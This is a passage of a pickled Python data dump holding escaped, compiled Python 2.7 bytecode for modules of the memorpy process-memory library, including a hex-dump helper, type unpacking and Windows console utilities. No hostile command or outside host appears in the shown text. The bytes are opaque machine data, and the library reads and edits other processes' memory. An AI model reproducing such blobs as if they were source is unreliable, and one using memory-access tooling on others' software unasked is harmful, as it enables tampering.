\x00\\\\x00NoneR,\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00R+\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00R2\\\\x00\\\\x00\\\\x00R:\\\\x00\\\\x00\\\\x00RG\\\\x00\\\\x00\\\\x00RQ\\\\x00\\\\x00\\\\x00RS\\\\x00\\\\x00\\\\x00RU\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00t\\\\x0e\\\\x00\\\\x00\\\\x00PAGE_READWRITEt\\\\r\\\\x00\\\\x00\\\\x00PAGE_READONLYR\\\\x19\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\\\x03\\\\x00\\\\x00\\\\x00\\\\x1f\\\\x00\\\\x00\\\\x00s \\\\x00\\\\x00\\\\x00\\\\x06\\\\x02\\\\x18\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\x0c\\\\x04\\\\t\\\\x06\\\\t\\\\x06\\\\t\\\\x0c\\\\t\\\\x06\\\\x0f\\\\x0b\\\\t\\\\t\\\\t\\\\x0e\\\\t\\\\x0b\\\\x0c\\\\x05\\\\x0c\\\\x05\\\\t\\\\x07(\\\\x12\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\x06\\\\x00\\\\x00\\\\x00stringR&\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00loggingR\\\\x07\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R=\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00structurest\\\\t\\\\x00\\\\x00\\\\x00getLoggerR\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00R_\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00objectR\\\\x03\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x10\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\n\\\\x02\\\\x0f\\\\x02\\\\x15\\\\x01\\'\\np17\\nsS\\'memorpy/utils.pyc\\'\\np18\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x02\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x03\\\\x00d\\\\x04\\\\x00d\\\\x05\\\\x00d\\\\x06\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\x04\\\\x00d\\\\x01\\\\x00S(\\\\x08\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffNc\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s2\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00}\\\\x01\\\\x00x%\\\\x00|\\\\x00\\\\x00D]\\\\x1d\\\\x00}\\\\x02\\\\x00|\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x177}\\\\x01\\\\x00q\\\\r\\\\x00W|\\\\x01\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Nt\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x02\\\\x00\\\\x00\\\\x00ret\\\\x06\\\\x00\\\\x00\\\\x00escape(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00st\\\\t\\\\x00\\\\x00\\\\x00newstringt\\\\x01\\\\x00\\\\x00\\\\x00c(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\\\r\\\\x00\\\\x00\\\\x00re_to_unicode\\\\x14\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x06\\\\x01\\\\r\\\\x01\\\\x1b\\\\x02c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x01\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x00\\\\x00d\\\\x16\\\\x00}\\\\x01\\\\x00d\\\\x16\\\\x00}\\\\x02\\\\x00|\\\\x00\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00r3\\\\x00d\\\\x02\\\\x00}\\\\x01\\\\x00d\\\\x03\\\\x00}\\\\x02\\\\x00n\\\\xcd\\\\x00|\\\\x00\\\\x00d\\\\x04\\\\x00k\\\\x02\\\\x00rN\\\\x00d\\\\x05\\\\x00}\\\\x01\\\\x00d\\\\x03\\\\x00}\\\\x02\\\\x00n\\\\xb2\\\\x00|\\\\x00\\\\x00d\\\\x06\\\\x00k\\\\x02\\\\x00ri\\\\x00d\\\\x07\\\\x00}\\\\x01\\\\x00d\\\\x08\\\\x00}\\\\x02\\\\x00n\\\\x97\\\\x00|\\\\x00\\\\x00d\\\\t\\\\x00k\\\\x02\\\\x00r\\\\x84\\\\x00d\\\\n\\\\x00}\\\\x01\\\\x00d\\\\x08\\\\x00}\\\\x02\\\\x00n|\\\\x00|\\\\x00\\\\x00d\\\\x0b\\\\x00k\\\\x02\\\\x00r\\\\x9f\\\\x00d\\\\x0c\\\\x00}\\\\x01\\\\x00d\\\\x08\\\\x00}\\\\x02\\\\x00na\\\\x00|\\\\x00\\\\x00d\\\\r\\\\x00k\\\\x02\\\\x00r\\\\xba\\\\x00d\\\\x0e\\\\x00}\\\\x01\\\\x00d\\\\x08\\\\x00}\\\\x02\\\\x00nF\\\\x00|\\\\x00\\\\x00d\\\\x0f\\\\x00k\\\\x02\\\\x00r\\\\xd5\\\\x00d\\\\x10\\\\x00}\\\\x01\\\\x00d\\\\x08\\\\x00}\\\\x02\\\\x00n+\\\\x00|\\\\x00\\\\x00d\\\\x11\\\\x00k\\\\x02\\\\x00r\\\\xf0\\\\x00d\\\\x12\\\\x00}\\\\x01\\\\x00d\\\\x13\\\\x00}\\\\x02\\\\x00n\\\\x10\\\\x00t\\\\x02\\\\x00d\\\\x14\\\\x00|\\\\x00\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x15\\\\x00|\\\\x01\\\\x00\\\\x17|\\\\x02\\\\x00f\\\\x02\\\\x00S(\\\\x17\\\\x00\\\\x00\\\\x00s4\\\\x00\\\\x00\\\\x00 return the struct and the len of a particular type t\\\\x05\\\\x00\\\\x00\\\\x00shortt\\\\x01\\\\x00\\\\x00\\\\x00hi\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ushortt\\\\x01\\\\x00\\\\x00\\\\x00Ht\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x01\\\\x00\\\\x00\\\\x00ii\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00uintt\\\\x01\\\\x00\\\\x00\\\\x00It\\\\x04\\\\x00\\\\x00\\\\x00longt\\\\x01\\\\x00\\\\x00\\\\x00lt\\\\x05\\\\x00\\\\x00\\\\x00ulongt\\\\x01\\\\x00\\\\x00\\\\x00Lt\\\\x05\\\\x00\\\\x00\\\\x00floatt\\\\x01\\\\x00\\\\x00\\\\x00ft\\\\x06\\\\x00\\\\x00\\\\x00doublet\\\\x01\\\\x00\\\\x00\\\\x00di\\\\x08\\\\x00\\\\x00\\\\x00s\\\\x0f\\\\x00\\\\x00\\\\x00Unknown type %st\\\\x01\\\\x00\\\\x00\\\\x00<N(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00lowert\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\t\\\\x00\\\\x00\\\\x00TypeError(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00typeR\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\\\x0b\\\\x00\\\\x00\\\\x00type_unpack\\\\x1c\\\\x00\\\\x00\\\\x00s:\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\t\\\\x02\\\\x10\\\\x01i\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00bytesc\\\\x04\\\\x00\\\\x00\\\\x00\\\\x0f\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xbf\\\\x02\\\\x00\\\\x00|\\\\x02\\\\x00}\\\\x04\\\\x00d\\\\x01\\\\x00}\\\\x05\\\\x00|\\\\x03\\\\x00d\\\\x02\\\\x00k\\\\x03\\\\x00r\\\\x80\\\\x01t\\\\x00\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x06\\\\x00}\\\\x07\\\\x00x\\\\x0f\\\\x02t\\\\x01\\\\x00d\\\\x03\\\\x00t\\\\x02\\\\x00|\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x03\\\\x00D]6\\\\x01}\\\\x08\\\\x00|\\\\x01\\\\x00d\\\\x04\\\\x00\\\\x16d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\xcc\\\\x00|\\\\x04\\\\x00d\\\\x05\\\\x007}\\\\x04\\\\x00xI\\\\x00|\\\\x05\\\\x00D]A\\\\x00}\\\\t\\\\x00t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00k\\\\x05\\\\x00r\\\\xa1\\\\x00t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x07\\\\x00k\\\\x01\\\\x00r\\\\xa1\\\\x00|\\\\x04\\\\x00|\\\\t\\\\x007}\\\\x04\\\\x00qj\\\\x00|\\\\x04\\\\x00d\\\\x08\\\\x007}\\\\x04\\\\x00qj\\\\x00W|\\\\x04\\\\x00d\\\\t\\\\x00|\\\\x02\\\\x00|\\\\x01\\\\x00f\\\\x02\\\\x00\\\\x167}\\\\x04\\\\x00d\\\\x01\\\\x00}\\\\x05\\\\x00n\\\\x00\\\\x00d\\\\n\\\\x00}\\\\n\\\\x00y+\\\\x00|\\\\x00\\\\x00|\\\\x08\\\\x00|\\\\x08\\\\x00|\\\\x07\\\\x00\\\\x17!}\\\\x0b\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x06\\\\x00|\\\\x0b\\\\x00\\\\x83\\\\x02\\\\x00d\\\\x03\\\\x00\\\\x19}\\\\n\\\\x00Wn\\\\x18\\\\x00\\\\x04t\\\\x06\\\\x00k\\\\n\\\\x00r\\\\x17\\\\x01\\\\x01}\\\\x0c\\\\x00\\\\x01|\\\\x0c\\\\x00GHn\\\\x01\\\\x00X|\\\\n\\\\x00d\\\\n\\\\x00k\\\\x02\\\\x00r:\\\\x01|\\\\x04\\\\x00d\\\\x0b\\\\x00j\\\\x07\\\\x00|\\\\n\\\\x00\\\\x83\\\\x01\\\\x007}\\\\x04\\\\x00n5\\\\x00|\\\\x03\\\\x00d\\\\x0c\\\\x00k\\\\x02\\\\x00r\\\\\\\\\\\\x01|\\\\x04\\\\x00d\\\\r\\\\x00j\\\\x07\\\\x00|\\\\n\\\\x00\\\\x83\\\\x01\\\\x007}\\\\x04\\\\x00n\\\\x13\\\\x00|\\\\x04\\\\x00d\\\\x0b\\\\x00j\\\\x07\\\\x00|\\\\n\\\\x00\\\\x83\\\\x01\\\\x007}\\\\x04\\\\x00|\\\\x01\\\\x00|\\\\x07\\\\x007}\\\\x01\\\\x00qC\\\\x00Wn\\\\xbc\\\\x00x\\\\xb9\\\\x00|\\\\x00\\\\x00D]\\\\xb1\\\\x00}\\\\r\\\\x00|\\\\x01\\\\x00d\\\\x04\\\\x00\\\\x16d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\x10\\\\x02|\\\\x04\\\\x00d\\\\x05\\\\x007}\\\\x04\\\\x00xI\\\\x00|\\\\x05\\\\x00D]A\\\\x00}\\\\t\\\\x00t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00k\\\\x05\\\\x00r\\\\xe5\\\\x01t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x07\\\\x00k\\\\x01\\\\x00r\\\\xe5\\\\x01|\\\\x04\\\\x00|\\\\t\\\\x007}\\\\x04\\\\x00q\\\\xae\\\\x01|\\\\x04\\\\x00d\\\\x08\\\\x007}\\\\x04\\\\x00q\\\\xae\\\\x01W|\\\\x04\\\\x00d\\\\t\\\\x00|\\\\x02\\\\x00|\\\\x01\\\\x00f\\\\x02\\\\x00\\\\x167}\\\\x04\\\\x00d\\\\x01\\\\x00}\\\\x05\\\\x00n\\\\x00\\\\x00|\\\\x04\\\\x00d\\\\x0e\\\\x00t\\\\x03\\\\x00|\\\\r\\\\x00\\\\x83\\\\x01\\\\x00\\\\x167}\\\\x04\\\\x00|\\\\x05\\\\x00|\\\\r\\\\x007}\\\\x05\\\\x00|\\\\x01\\\\x00d\\\\x0f\\\\x007}\\\\x01\\\\x00q\\\\x87\\\\x01W|\\\\x01\\\\x00d\\\\x04\\\\x00\\\\x16}\\\\x0e\\\\x00|\\\\x0e\\\\x00d\\\\x03\\\\x00k\\\\x03\\\\x00rk\\\\x02|\\\\x04\\\\x00d\\\\x10\\\\x00d\\\\x04\\\\x00|\\\\x0e\\\\x00\\\\x18\\\\x14d\\\\x05\\\\x00\\\\x177}\\\\x04\\\\x00n\\\\x00\\\\x00xI\\\\x00|\\\\x05\\\\x00D]A\\\\x00}\\\\t\\\\x00t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00k\\\\x05\\\\x00r\\\\xa9\\\\x02t\\\\x03\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x07\\\\x00k\\\\x01\\\\x00r\\\\xa9\\\\x02|\\\\x04\\\\x00|\\\\t\\\\x007}\\\\x04\\\\x00qr\\\\x02|\\\\x04\\\\x00d\\\\x08\\\\x007}\\\\x04\\\\x00qr\\\\x02W|\\\\x04\\\\x00d\\\\x11\\\\x00\\\\x17S(\\\\x12\\\\x00\\\\x00\\\\x00sI\\\\x00\\\\x00\\\\x00\\\\n    function originally from pydbg, modified to display other types\\\\n    R\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00 i \\\\x00\\\\x00\\\\x00i~\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00.s\\\\t\\\\x00\\\\x00\\\\x00\\\\n%s%08X: t\\\\x03\\\\x00\\\\x00\\\\x00NaNs\\\\x07\\\\x00\\\\x00\\\\x00{:<15} R\\\\x13\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00{:<15.4f} s\\\\x05\\\\x00\\\\x00\\\\x00%02X i\\\\x01\\\\x00\\\\x00\\\\x00s\\\\x03\\\\x00\\\\x00\\\\x00   s\\\\x01\\\\x00\\\\x00\\\\x00\\\\n(\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00ranget\\\\x03\\\\x00\\\\x00\\\\x00lent\\\\x03\\\\x00\\\\x00\\\\x00ordt\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x06\\\\x00\\\\x00\\\\x00unpackt\\\\t\\\\x00\\\\x00\\\\x00Exceptiont\\\\x06\\\\x00\\\\x00\\\\x00format(\\\\x0f\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00datat\\\\x04\\\\x00\\\\x00\\\\x00addrt\\\\x06\\\\x00\\\\x00\\\\x00prefixt\\\\x05\\\\x00\\\\x00\\\\x00ftypet\\\\x04\\\\x00\\\\x00\\\\x00dumpt\\\\x05\\\\x00\\\\x00\\\\x00slicet\\\\n\\\\x00\\\\x00\\\\x00structtypet\\\\t\\\\x00\\\\x00\\\\x00structlenR\\\\x0c\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00chart\\\\x06\\\\x00\\\\x00\\\\x00tmpvalt\\\\t\\\\x00\\\\x00\\\\x00packedvalt\\\\x01\\\\x00\\\\x00\\\\x00et\\\\x04\\\\x00\\\\x00\\\\x00bytet\\\\t\\\\x00\\\\x00\\\\x00remainder(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\\\x08\\\\x00\\\\x00\\\\x00hex_dump>\\\\x00\\\\x00\\\\x00sZ\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x06\\\\x01\\\\x06\\\\x01\\\\x0c\\\\x01\\\\x12\\\\x01\\\\x1f\\\\x01\\\\x10\\\\x01\\\\n\\\\x01\\\\r\\\\x01$\\\\x01\\\\r\\\\x02\\\\x0e\\\\x02\\\\x14\\\\x01\\\\t\\\\x01\\\\x06\\\\x01\\\\x03\\\\x01\\\\x11\\\\x01\\\\x1a\\\\x01\\\\x0f\\\\x01\\\\t\\\\x02\\\\x0c\\\\x01\\\\x16\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x02\\\\x13\\\\x01\\\\x11\\\\x03\\\\r\\\\x01\\\\x10\\\\x01\\\\n\\\\x01\\\\r\\\\x01$\\\\x01\\\\r\\\\x02\\\\x0e\\\\x02\\\\x14\\\\x01\\\\t\\\\x01\\\\x14\\\\x01\\\\n\\\\x01\\\\x0e\\\\x02\\\\n\\\\x01\\\\x0c\\\\x01\\\\x19\\\\x01\\\\r\\\\x01$\\\\x01\\\\r\\\\x02\\\\x0e\\\\x02(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/utils.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x02\\\\t\\\\x08\\\\t\"\\'\\np19\\nsS\\'memorpy/wintools.pyc\\'\\np20\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s5\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00m\\\\x01\\\\x00Z\\\\x01\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x02\\\\x00Z\\\\x02\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x03\\\\x00d\\\\x04\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x04\\\\x00d\\\\x02\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xff(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00windllNc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s5\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00d\\\\x00\\\\x00l\\\\x00\\\\x00}\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x02\\\\x00t\\\\x02\\\\x00\\\\x83\\\\x00\\\\x01}\\\\x01\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00_\\\\x04\\\\x00|\\\\x01\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x00\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Ni\\\\xff\\\\xff\\\\xff\\\\xfft\\\\x06\\\\x00\\\\x00\\\\x00target(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00threadingt\\\\x06\\\\x00\\\\x00\\\\x00Threadt\\\\x16\\\\x00\\\\x00\\\\x00window_foreground_loopt\\\\x04\\\\x00\\\\x00\\\\x00Truet\\\\x06\\\\x00\\\\x00\\\\x00daemont\\\\x05\\\\x00\\\\x00\\\\x00start(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00t(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sP\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyt\\\\x1a\\\\x00\\\\x00\\\\x00start_winforeground_daemon\\\\x14\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\x12\\\\x01\\\\t\\\\x01i\\\\x14\\\\x00\\\\x00\\\\x00c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00se\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x01\\\\x00d\\\\x01\\\\x00}\\\\x02\\\\x00d\\\\x02\\\\x00}\\\\x03\\\\x00d\\\\x03\\\\x00}\\\\x04\\\\x00x=\\\\x00t\\\\x03\\\\x00r`\\\\x00t\\\\x00\\\\x00j\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x01\\\\x00|\\\\x02\\\\x00d\\\\x04\\\\x00d\\\\x04\\\\x00d\\\\x04\\\\x00d\\\\x04\\\\x00|\\\\x03\\\\x00|\\\\x04\\\\x00B\\\\x83\\\\x07\\\\x00\\\\x01t\\\\x06\\\\x00j\\\\x07\\\\x00|\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01q$\\\\x00Wd\\\\x05\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00so\\\\x00\\\\x00\\\\x00 set the windows python console to the foreground (for example when you are working with a fullscreen program) i\\\\xff\\\\xff\\\\xff\\\\xffi\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x00\\\\x00\\\\x00N(\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00kernel32t\\\\x10\\\\x00\\\\x00\\\\x00GetConsoleWindowR\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00user32t\\\\x0c\\\\x00\\\\x00\\\\x00SetWindowPost\\\\x04\\\\x00\\\\x00\\\\x00timet\\\\x05\\\\x00\\\\x00\\\\x00sleep(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00timeoutt\\\\x04\\\\x00\\\\x00\\\\x00hwndt\\\\x0c\\\\x00\\\\x00\\\\x00HWND_TOPMOSTt\\\\n\\\\x00\\\\x00\\\\x00SWP_NOMOVEt\\\\n\\\\x00\\\\x00\\\\x00SWP_NOSIZE(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sP\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyR\\\\x04\\\\x00\\\\x00\\\\x00\\\\x1a\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0f\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\t\\\\x01&\\\\x01(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ctypesR\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sP\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/wintools.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x10\\\\x01\\\\x0c\\\\x02\\\\t\\\\x06\\'\\np21\\nsS\\'memorpy/WinProcess.pyc\\'\\np22\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x01\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00m\\\\x01\\\\x00Z\\\\x01\\\\x00m\\\\x02\\\\x00Z\\\\x02\\\\x00m\\\\x03\\\\x00Z\\\\x03\\\\x00m\\\\x04\\\\x00Z\\\\x04\\\\x00m\\\\x05\\\\x00Z\\\\x05\\\\x00m\\\\x06\\\\x00Z\\\\x06\\\\x00m\\\\x07\\\\x00Z\\\\x07\\\\x00m\\\\x08\\\\x00Z\\\\x08\\\\x00m\\\\t\\\\x00Z\\\\t\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\n\\\\